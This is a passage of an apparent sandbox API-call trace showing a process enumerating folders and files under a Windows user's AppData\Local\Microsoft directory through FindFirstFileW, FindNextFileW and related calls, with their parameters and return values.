ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.178] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.179] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog", lpFilePart=0x0) returned 0x3b [0179.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.179] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog", lpFilePart=0x0) returned 0x3b [0179.179] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\Catalog\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.179] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd425650, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.179] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd44ba0e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x30ac1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ListAll.Json", cAlternateFileName="LISTAL~1.JSO")) returned 1 [0179.180] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.180] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont", lpFilePart=0x0) returned 0x3f [0179.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont", lpFilePart=0x0) returned 0x3f [0179.180] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FontCache\\4\\PreviewFont\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0179.181] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd44ba0e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd44ba0e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.181] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd471b2f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xbd471b2f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xbd471b2f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x9a04c, dwReserved0=0x0, dwReserved1=0x0, cFileName="flat_officeFontsPreview.ttf", cAlternateFileName="FLAT_O~1.TTF")) returned 1 [0179.181] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.181] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0179.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2d [0179.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2d [0179.182] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.183] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.183] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0179.183] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.183] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x2d [0179.184] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\FORMS\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.184] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8280f106, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.184] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0179.184] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8280f106, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x8280f106, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xa9b682de, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0179.184] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x2f [0179.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.184] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x2f [0179.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.185] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.185] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0179.185] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.185] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR", lpFilePart=0x0) returned 0x2f [0179.186] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.186] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc71f3a6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5e719bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdeb2fb6c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.186] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 1 [0179.186] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb2fb6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdeb2fb6c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x49388b7e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52880, dwReserved0=0x0, dwReserved1=0x0, cFileName="KnownGameList.bin", cAlternateFileName="KNOWNG~1.BIN")) returned 0 [0179.186] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", lpFilePart=0x0) returned 0x2b [0179.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", lpFilePart=0x0) returned 0x2b [0179.186] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.187] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.187] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.0", cAlternateFileName="")) returned 1 [0179.187] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.0", cAlternateFileName="")) returned 0 [0179.187] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME", lpFilePart=0x0) returned 0x2b [0179.187] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.188] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.188] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.0", cAlternateFileName="")) returned 1 [0179.188] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.188] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", lpFilePart=0x0) returned 0x30 [0179.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0", lpFilePart=0x0) returned 0x30 [0179.188] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\IME\\15.0\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.189] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, 